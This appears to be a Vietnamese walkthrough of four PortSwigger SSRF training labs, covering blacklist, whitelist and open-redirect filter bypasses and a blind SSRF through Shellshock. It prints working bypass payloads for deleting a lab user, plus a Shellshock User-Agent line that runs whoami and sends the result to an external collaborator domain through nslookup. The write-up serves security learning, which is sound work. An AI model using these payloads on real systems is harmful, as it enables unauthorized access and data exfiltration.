## 1. Lab: SSRF with blacklist-based input filter ![](https://hackmd.io/_uploads/SJkQOueh2.png) - Lab này có chức năng kiểm tra số lượng hàng hóa mà nó sẽ fetch đến hệ thông bên trong, để solve lab thì em cần đổi dòng URL check stock đến admin interface tại: `http://localhost/admin` để xóa user `carlos`. Nhà phát triển có 2 cơ chế phòng thủ SSRF mà em cần phải bypass - Đầu tiên hãy cứ quan sát cách mà trang web phòng thủ xem sao, đưa trang web vào BurpSuite và check stock, rồi đưa tab check stock vào repeater để sửa đổi và quan sát: ![](https://hackmd.io/_uploads/SyJ7tdg32.png) - Có lẽ trang web đã chặn chữ `admin, localhost, hoặc là 127.0.0.1`, nên ta cần thử cách khác: ![](https://hackmd.io/_uploads/SJIlo_xh3.png) - Sau một hồi tìm kiếm thì em cũng có được payload có thể sử dụng: `http://127.1/%2561dmin`. Ta sẽ bypass blacklist `127.0.0.1` bằng `127.1` và `admin`bằng `%2561dmin` (double url encode). - Giờ chỉ cần xóa carlos là được rồi: ![](https://hackmd.io/_uploads/HkDwiOl2n.png) ![](https://hackmd.io/_uploads/rknto_g23.png) ## 2. Lab: SSRF with whitelist-based input filter ![](https://hackmd.io/_uploads/ByxInOg2h.png) - Lab trên có chức năng check hàng hóa mà nó sẽ fetch dữ liệu từ bên trong hệ thống. Để solve lab thì em cần phải đổi đường dẫn URL của stockcheck để truy cập đến giao diện của admin tại: `http://localhost/admin` và xóa user `carlos`. Nhà phát triển đã tiến hành một cơ chế phòng thủ SSRF cần phải bypass - Bài lab này whitelist và chỉ nhận chuỗi URL bắt đầu bằng domain của họ: ![](https://hackmd.io/_uploads/By0KCug3n.png) - Sau đó em đã thử với url: `http://username@stock.weliketoshop.net/` thì có chuyện này xảy ra: ![](https://hackmd.io/_uploads/r1DZztl33.png) - Chứng tỏ server có tính năng này, nó sẽ phân tích tất cả những gì sau chữ `http://` là 1 URL và sau dấu `@` là một element, giờ ta sẽ có thể bypass bằng cách chèn URL của ta vào rồi sử dụng dấu `#` để trang web trỏ đến URL đầu tiên ta cho vào: ![](https://hackmd.io/_uploads/S1pEmYe3h.png) - Không giòn rồi, nếu để dấu `#` không thì sẽ bị whitelist, nên em sẽ urlencode nó: ![](https://hackmd.io/_uploads/SJz_mKl23.png) - URL encode 2 lần thì ta đã thành công trỏ đến được URL, giờ chỉ cần thay thế `username` bằng `localhost` thôi là được rồi: - Payload để giải quyết bài này sẽ là: `http://localhost%2523@stock.weliketoshop.net/admin` ![](https://hackmd.io/_uploads/rJ7--tgn2.png) - Giờ ta sẽ xóa user `carlos` với payload: `http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos` ![](https://hackmd.io/_uploads/B1R3mKe3n.png) ![](https://hackmd.io/_uploads/rkg0XFghn.png) ## 3. Lab: SSRF with filter bypass via open redirection vulnerability ![](https://hackmd.io/_uploads/r113ute3h.png) - Lab naỳ có chức năng check số lượng hàng hóa và nó sẽ fetch dữ liệu ở bên trong hệ thống, để solve lab thì em cần chuyển URL của stockcheck để truy cập vào giao diện admin tại `http://192.168.0.12:8080/admin` và xóa user `carlos`. Cơ chế stock checker sẽ hạn chế chỉ có thể truy cập từ ứng dụng local nên em cần tìm một nguồn redirect mở ảnh hưởng đến ứng dụng trước - Đầu tiên ta sẽ để ý chức năng next product sẽ redirect sang trang bằng biến path ![](https://hackmd.io/_uploads/HklgnKe3n.png) - Sẽ ra sao nếu em thêm biến path vào trong phần POST check stock nhỉ: ![](https://hackmd.io/_uploads/BJpZ3te22.png) - Trang web bảo là không cóa đâu em, để ý thì chúng nó không nhận biến path là bởi vì dấu `&` đang không hoạt động, nên em đã thử encode dấu `&` và thành công với payload: `/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin` ![](https://hackmd.io/_uploads/ryVw2tg3n.png) - Giờ chỉ cần xóa carlos là em đã solve được lab rồi: ![](https://hackmd.io/_uploads/BkVinFg2n.png) ## 4. Lab: Blind SSRF with Shellshock exploitation ![](https://hackmd.io/_uploads/SkOrFZf3h.png) - Trang web này sử dụng phần mềm phân tích mà nó sẽ fetch đường dẫn URL ở header Referer khi trang sản phẩm được load/ Để solve lab này thì em sẽ tấn công lỗ hổng blind SSRF vào một server ở `192.168.0.X` và port 8080. Sử dụng Shellshock payload để lấy tên của OS user. - Đọc doc về ShellShock em để ý: ![](https://hackmd.io/_uploads/SJWcNzGn3.png) - ShellShock sẽ được inject vào header User-Agent với đoạn fuzzing `() { :; };` ở đầu để thực thi những gì đằng sau nó, để biết tên OS user, em cần thực thi câu lệnh `$whoami`, và đồng thời vì trang web không show ra kết quả nên em cần call nó về bằng cách dùng BurpCollaborator, giờ em sẽ có payload như sau: `() { :; }; /usr/bin/nslookup $(whoami).626ymmhktkryakw7v564onoim9s0gq4f.oastify.com`, trong đó câu lệnh được nối chuỗi với domain collaborator của em, và gọi `/usr/bin/nslookup` để khi thực chạy nslookup nó sẽ fetch thấy `$whoami` và thực thi câu lệnh trên. Sau đó trả kết quả về trang: `626ymmhktkryakw7v564onoim9s0gq4f.oastify.com` của em. ![](https://hackmd.io/_uploads/rkrDvMfn3.png) - Vì chưa biết trang admin ở địa chỉ nào nên ra tiến hành bruteforce: ![](https://hackmd.io/_uploads/HJsT8MMhh.png) ![](https://hackmd.io/_uploads/B1HRLzz2h.png) - Ta không cần quan tâm kết quả bruteforce vì mục đích chỉ là lấy đúng IP của server local, giờ ta sẽ vào Collaborator để xem response. - Ta đã thấy được tên của OS user: ![](https://hackmd.io/_uploads/B1MzDMz2h.png) - Submit tên người dùng OS là: `peter-HdppMJ` và em đã solve được lab: ![](https://hackmd.io/_uploads/B1t8Dfzn2.png)